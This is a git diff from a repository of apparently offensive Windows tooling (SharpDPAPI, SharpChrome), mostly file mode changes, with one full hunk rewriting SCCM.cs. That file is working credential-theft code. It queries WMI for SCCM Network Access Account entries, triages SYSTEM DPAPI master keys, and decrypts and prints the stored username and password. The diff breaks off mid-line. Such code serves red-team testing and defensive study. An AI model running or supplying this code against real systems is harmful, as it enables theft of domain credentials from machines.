SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/walker_c.cs mode change 100644 => 100755 SharpChrome/SQLite/csharp-sqlite-src/where_c.cs mode change 100644 => 100755 SharpChrome/SharpChrome.csproj mode change 100644 => 100755 SharpChrome/lib/Chrome.cs mode change 100644 => 100755 SharpDPAPI/Commands/Backupkey.cs mode change 100644 => 100755 SharpDPAPI/Commands/Blob.cs mode change 100644 => 100755 SharpDPAPI/Commands/Certificate.cs mode change 100644 => 100755 SharpDPAPI/Commands/Credentials.cs mode change 100644 => 100755 SharpDPAPI/Commands/ICommand.cs mode change 100644 => 100755 SharpDPAPI/Commands/Machinecredentials.cs mode change 100644 => 100755 SharpDPAPI/Commands/Machinemasterkeys.cs mode change 100644 => 100755 SharpDPAPI/Commands/Machinetriage.cs mode change 100644 => 100755 SharpDPAPI/Commands/Machinevaults.cs mode change 100644 => 100755 SharpDPAPI/Commands/Masterkeys.cs mode change 100644 => 100755 SharpDPAPI/Commands/PS.cs mode change 100644 => 100755 SharpDPAPI/Commands/RDG.cs mode change 100644 => 100755 SharpDPAPI/Commands/SCCM.cs mode change 100644 => 100755 SharpDPAPI/Commands/Triage.cs mode change 100644 => 100755 SharpDPAPI/Commands/Vaults.cs mode change 100644 => 100755 SharpDPAPI/Domain/ArgumentParser.cs mode change 100644 => 100755 SharpDPAPI/Domain/ArgumentParserResult.cs mode change 100644 => 100755 SharpDPAPI/Domain/CommandCollection.cs mode change 100644 => 100755 SharpDPAPI/Domain/Info.cs mode change 100644 => 100755 SharpDPAPI/Domain/Version.cs mode change 100644 => 100755 SharpDPAPI/Program.cs mode change 100644 => 100755 SharpDPAPI/Properties/AssemblyInfo.cs mode change 100644 => 100755 SharpDPAPI/SharpDPAPI.csproj mode change 100644 => 100755 SharpDPAPI/app.config mode change 100644 => 100755 SharpDPAPI/lib/Backup.cs mode change 100644 => 100755 SharpDPAPI/lib/BigInteger.cs mode change 100644 => 100755 SharpDPAPI/lib/Crypto.cs mode change 100644 => 100755 SharpDPAPI/lib/Dpapi.cs mode change 100644 => 100755 SharpDPAPI/lib/Helpers.cs mode change 100644 => 100755 SharpDPAPI/lib/Interop.cs mode change 100644 => 100755 SharpDPAPI/lib/LSADump.cs mode change 100644 => 100755 SharpDPAPI/lib/PBKDF2.cs mode change 100644 => 100755 SharpDPAPI/lib/Triage.cs mode change 100644 => 100755 SharpDPAPI/lib/Tuple.cs diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 diff --git a/SharpChrome/Commands/Backupkey.cs b/SharpChrome/Commands/Backupkey.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Commands/ICommand.cs b/SharpChrome/Commands/ICommand.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Domain/ArgumentParser.cs b/SharpChrome/Domain/ArgumentParser.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Domain/ArgumentParserResult.cs b/SharpChrome/Domain/ArgumentParserResult.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Domain/CommandCollection.cs b/SharpChrome/Domain/CommandCollection.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Domain/Info.cs b/SharpChrome/Domain/Info.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Program.cs b/SharpChrome/Program.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/Properties/AssemblyInfo.cs b/SharpChrome/Properties/AssemblyInfo.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/SQLite.cs b/SharpChrome/SQLite/SQLite.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/BtreeInt_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/BtreeInt_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Btree_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/Btree_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Delegates.cs b/SharpChrome/SQLite/csharp-sqlite-src/Delegates.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Hash_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/Hash_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/VdbeInt_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/VdbeInt_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/Vdbe_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/Vdbe_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/_Custom.cs b/SharpChrome/SQLite/csharp-sqlite-src/_Custom.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/alter_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/alter_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/analyze_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/analyze_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/attach_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/attach_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/auth_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/auth_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/backup_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/backup_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/bitvec_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/bitvec_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/btmutex_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/btmutex_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/btree_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/btree_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/build_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/build_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/callback_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/callback_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/complete_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/complete_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs b/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/ctime_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/ctime_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/date_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/date_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/delete_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/delete_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/expr_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/expr_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/fault_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/fault_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/fkey_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/fkey_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/func_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/func_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/global_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/global_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/hash_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/hash_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/hwtime_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/hwtime_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/insert_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/insert_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/journal_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/journal_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/keywordhash_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/keywordhash_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/legacy_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/legacy_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/loadext_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/loadext_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/main_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/main_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/malloc_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/malloc_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/mem_Pool.cs b/SharpChrome/SQLite/csharp-sqlite-src/mem_Pool.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/memjournal_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/memjournal_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/mutex_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/mutex_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/mutex_noop_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/mutex_noop_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/notify_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/notify_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/opcodes_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/opcodes_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/opcodes_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/opcodes_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_common_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_common_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/os_win_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/os_win_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pager_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pager_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pager_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/pager_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/parse_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/parse_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/parse_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/parse_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pcache1_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pcache1_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pcache_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pcache_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pcache_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/pcache_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/pragma_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/pragma_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/prepare_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/prepare_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/printf_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/printf_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/random_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/random_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/resolve_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/resolve_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/rowset_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/rowset_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/select_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/select_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/sqlite3_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/sqlite3_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/sqliteInt_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/sqliteInt_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/sqliteLimit_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/sqliteLimit_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/status_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/status_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/table_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/table_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/tokenize_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/tokenize_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/trigger_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/trigger_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/update_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/update_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/utf_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/util_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/util_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vacuum_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vacuum_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbe_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbe_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbeapi_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbeapi_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbeaux_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbeaux_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbeblob_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbeblob_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbemem_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbemem_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vdbetrace_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vdbetrace_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/vtab_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/vtab_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/wal_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs b/SharpChrome/SQLite/csharp-sqlite-src/wal_h.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/walker_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/walker_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SQLite/csharp-sqlite-src/where_c.cs b/SharpChrome/SQLite/csharp-sqlite-src/where_c.cs old mode 100644 new mode 100755 diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj old mode 100644 new mode 100755 diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Backupkey.cs b/SharpDPAPI/Commands/Backupkey.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Blob.cs b/SharpDPAPI/Commands/Blob.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Certificate.cs b/SharpDPAPI/Commands/Certificate.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/ICommand.cs b/SharpDPAPI/Commands/ICommand.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Machinecredentials.cs b/SharpDPAPI/Commands/Machinecredentials.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Machinemasterkeys.cs b/SharpDPAPI/Commands/Machinemasterkeys.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Machinetriage.cs b/SharpDPAPI/Commands/Machinetriage.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Machinevaults.cs b/SharpDPAPI/Commands/Machinevaults.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs old mode 100644 new mode 100755 diff --git a/SharpDPAPI/Commands/SCCM.cs b/SharpDPAPI/Commands/SCCM.cs old mode 100644 new mode 100755 index 2fbf32f..d960bb0 --- a/SharpDPAPI/Commands/SCCM.cs +++ b/SharpDPAPI/Commands/SCCM.cs @@ -1,257 +1,257 @@ -using System; -using System.Text; -using System.Collections.Generic; -using System.Linq; -using System.Management; - -namespace SharpDPAPI.Commands -{ - public class SCCM : ICommand - { - public static string CommandName => "SCCM"; - - public static ManagementScope NewSccmConnection(string path) - { - ConnectionOptions connection = new ConnectionOptions(); - ManagementScope sccmConnection = new ManagementScope(path, connection); - try - { - Console.WriteLine($"[+] Connecting to {sccmConnection.Path}"); - sccmConnection.Connect(); - } - catch (System.UnauthorizedAccessException unauthorizedErr) - { - Console.WriteLine("[!] Access to WMI was not authorized (user name or password might be incorrect): " + unauthorizedErr.Message); - } - catch (Exception e) - { - Console.WriteLine("[!] Error connecting to WMI: " + e.Message); - } - return sccmConnection; - } - - public static string[] GetKeyPropertyNames(ManagementScope sccmConnection, string className) - { - using (ManagementClass managementClass = new ManagementClass(sccmConnection, new ManagementPath(className), new ObjectGetOptions())) - { - return managementClass.Properties - .Cast() - .Where( - property => property.Qualifiers - .Cast() - .Any(qualifier => string.Equals(qualifier.Name, "Key", StringComparison.OrdinalIgnoreCase)) - ) - .Select(property => property.Name) - .ToArray(); - } - } - - - public static void GetClassInstances(ManagementScope scope, string wmiClass, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false) - { - try - { - string query = ""; - string propString = ""; - string whereClause = ""; - string orderByClause = ""; - - if (verbose || count || properties == null) - { - propString = "*"; - } - else - { - string[] keyPropertyNames = GetKeyPropertyNames(scope, wmiClass); - properties = keyPropertyNames.Union(properties).ToArray(); - propString = string.Join(",", properties); - } - if (!string.IsNullOrEmpty(whereCondition)) - { - whereClause = $"WHERE {whereCondition}"; - } - if (!string.IsNullOrEmpty(orderByColumn)) - { - orderByClause = $"ORDER BY {orderByColumn}"; - } - if (count) - { - query = $"SELECT COUNT({propString}) FROM {wmiClass} {whereClause}"; - } - else - { - query = $"SELECT {propString} FROM {wmiClass} {whereClause} {orderByClause}"; - } - - if (dryRun) - { - Console.WriteLine($"[+] WQL query: {query}"); - } - else - { - Console.WriteLine($"[+] Executing WQL query: {query}"); - ObjectQuery objQuery = new ObjectQuery(query); - ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, objQuery); - Console.WriteLine("-----------------------------------"); - Console.WriteLine(wmiClass); - Console.WriteLine("-----------------------------------"); - foreach (ManagementObject queryObj in searcher.Get()) - { - // Get lazy properties unless we're just counting instances - if (!count) - { - queryObj.Get(); - } - foreach (PropertyData prop in queryObj.Properties) - { - // Print default properties if none specified, named properties if specified, or all properties if verbose - if (properties == null || properties.Length == 0 || properties.Contains(prop.Name) || count || verbose) - { - if (prop.IsArray) - { - // Test to see if we can display property values as strings, otherwise bail. Byte[] (e.g., Device.ObjectGUID) breaks things, Object[] (e.g., Collection.CollectionRules, Collection.RefreshSchedule) breaks things - if (prop.Value is String[]) - { - String[] nestedValues = (String[])(prop.Value); - Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValues)}"); - } - else if (prop.Value is int[]) - { - int[] nestedValues = (int[])(prop.Value); - string[] nestedValueStrings = nestedValues.Select(x => x.ToString()).ToArray(); - Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValueStrings)}"); - } - else - { - string canConvertToString = prop.Value as string; - if (canConvertToString != null) - { - Console.WriteLine($"{prop.Name}: {canConvertToString}"); - } - else - { - Console.WriteLine($"{prop.Name}: Can't display {prop.Type.ToString()} as a String"); - } - } - } - else - { - Console.WriteLine("{0}: {1}", prop.Name, prop.Value); - } - } - } - Console.WriteLine("-----------------------------------"); - } - } - } - catch (ManagementException err) - { - Console.WriteLine("An error occurred while querying for WMI data: " + err.Message); - } - } - - public static void NAADecrypt(string blob, Dictionary masterkeys) - { - byte[] blobBytes = new byte[blob.Length / 2]; - for (int i = 0; i < blob.Length; i += 2) - { - blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); - } - - var offset = 4; - byte[] unmangedArray = new byte[blob.Length / 2]; - Buffer.BlockCopy(blobBytes, 4, unmangedArray, 0, blobBytes.Length - offset); - - blobBytes = unmangedArray; - - if (blobBytes.Length > 0) - { - byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob"); - - if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) - { - if (Helpers.IsUnicode(decBytesRaw)) - { - string data = ""; - int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); - if (finalIndex > 1) - { - byte[] decBytes = new byte[finalIndex + 1]; - Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); - data = Encoding.Unicode.GetString(decBytes); - } - else - { - data = Encoding.ASCII.GetString(decBytesRaw); - } - Console.WriteLine(" dec(blob) : {0}", data); - } - else - { - string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); - Console.WriteLine(" dec(blob) : {0}", hexData); - } - } - } - } - - public static void LocalNetworkAccessAccountsWmi() - { - if (!Helpers.IsHighIntegrity()) - { - Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); - } - else - { - ManagementScope sccmConnection = NewSccmConnection("\\\\localhost\\root\\ccm\\policy\\Machine\\ActualConfig"); - GetClassInstances(sccmConnection, "CCM_NetworkAccessAccount"); - ManagementObjectSearcher searcher = new ManagementObjectSearcher(sccmConnection, new ObjectQuery("SELECT * FROM CCM_NetworkAccessAccount")); - ManagementObjectCollection accounts = searcher.Get(); - if (accounts.Count > 0) - { - foreach (ManagementObject account in accounts) - { - string protectedUsername = account["NetworkAccessUsername"].ToString().Split('[')[2].Split(']')[0]; - string protectedPassword = account["NetworkAccessPassword"].ToString().Split('[')[2].Split(']')[0]; - byte[] protectedUsernameBytes = Helpers.StringToByteArray(protectedUsername); - int length = (protectedUsernameBytes.Length + 16 - 1) / 16 * 16; - Array.Resize(ref protectedUsernameBytes, length); - - Dictionary mappings = Triage.TriageSystemMasterKeys(); - - Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); - foreach (KeyValuePair kvp in mappings) - { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); - } - Console.WriteLine(); - - try - { - NAADecrypt(protectedUsername, mappings); - NAADecrypt(protectedPassword, mappings); - } - catch (Exception e) - { - Console.WriteLine("[!] Data was not decrypted. An error occurred."); - Console.WriteLine(e.ToString()); - } - } - } - else - { - Console.WriteLine($"[+] Found 0 instances of CCM_NetworkAccessAccount"); - } - } - - } - - public void Execute(Dictionary arguments) - { - Console.WriteLine("\r\n[*] Action: SCCM Triage"); - arguments.Remove("SCCM"); - - LocalNetworkAccessAccountsWmi(); - } - } +using System; +using System.Text; +using System.Collections.Generic; +using System.Linq; +using System.Management; + +namespace SharpDPAPI.Commands +{ + public class SCCM : ICommand + { + public static string CommandName => "SCCM"; + + public static ManagementScope NewSccmConnection(string path) + { + ConnectionOptions connection = new ConnectionOptions(); + ManagementScope sccmConnection = new ManagementScope(path, connection); + try + { + Console.WriteLine($"[+] Connecting to {sccmConnection.Path}"); + sccmConnection.Connect(); + } + catch (System.UnauthorizedAccessException unauthorizedErr) + { + Console.WriteLine("[!] Access to WMI was not authorized (user name or password might be incorrect): " + unauthorizedErr.Message); + } + catch (Exception e) + { + Console.WriteLine("[!] Error connecting to WMI: " + e.Message); + } + return sccmConnection; + } + + public static string[] GetKeyPropertyNames(ManagementScope sccmConnection, string className) + { + using (ManagementClass managementClass = new ManagementClass(sccmConnection, new ManagementPath(className), new ObjectGetOptions())) + { + return managementClass.Properties + .Cast() + .Where( + property => property.Qualifiers + .Cast() + .Any(qualifier => string.Equals(qualifier.Name, "Key", StringComparison.OrdinalIgnoreCase)) + ) + .Select(property => property.Name) + .ToArray(); + } + } + + + public static void GetClassInstances(ManagementScope scope, string wmiClass, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false) + { + try + { + string query = ""; + string propString = ""; + string whereClause = ""; + string orderByClause = ""; + + if (verbose || count || properties == null) + { + propString = "*"; + } + else + { + string[] keyPropertyNames = GetKeyPropertyNames(scope, wmiClass); + properties = keyPropertyNames.Union(properties).ToArray(); + propString = string.Join(",", properties); + } + if (!string.IsNullOrEmpty(whereCondition)) + { + whereClause = $"WHERE {whereCondition}"; + } + if (!string.IsNullOrEmpty(orderByColumn)) + { + orderByClause = $"ORDER BY {orderByColumn}"; + } + if (count) + { + query = $"SELECT COUNT({propString}) FROM {wmiClass} {whereClause}"; + } + else + { + query = $"SELECT {propString} FROM {wmiClass} {whereClause} {orderByClause}"; + } + + if (dryRun) + { + Console.WriteLine($"[+] WQL query: {query}"); + } + else + { + Console.WriteLine($"[+] Executing WQL query: {query}"); + ObjectQuery objQuery = new ObjectQuery(query); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, objQuery); + Console.WriteLine("-----------------------------------"); + Console.WriteLine(wmiClass); + Console.WriteLine("-----------------------------------"); + foreach (ManagementObject queryObj in searcher.Get()) + { + // Get lazy properties unless we're just counting instances + if (!count) + { + queryObj.Get(); + } + foreach (PropertyData prop in queryObj.Properties) + { + // Print default properties if none specified, named properties if specified, or all properties if verbose + if (properties == null || properties.Length == 0 || properties.Contains(prop.Name) || count || verbose) + { + if (prop.IsArray) + { + // Test to see if we can display property values as strings, otherwise bail. Byte[] (e.g., Device.ObjectGUID) breaks things, Object[] (e.g., Collection.CollectionRules, Collection.RefreshSchedule) breaks things + if (prop.Value is String[]) + { + String[] nestedValues = (String[])(prop.Value); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValues)}"); + } + else if (prop.Value is int[]) + { + int[] nestedValues = (int[])(prop.Value); + string[] nestedValueStrings = nestedValues.Select(x => x.ToString()).ToArray(); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValueStrings)}"); + } + else + { + string canConvertToString = prop.Value as string; + if (canConvertToString != null) + { + Console.WriteLine($"{prop.Name}: {canConvertToString}"); + } + else + { + Console.WriteLine($"{prop.Name}: Can't display 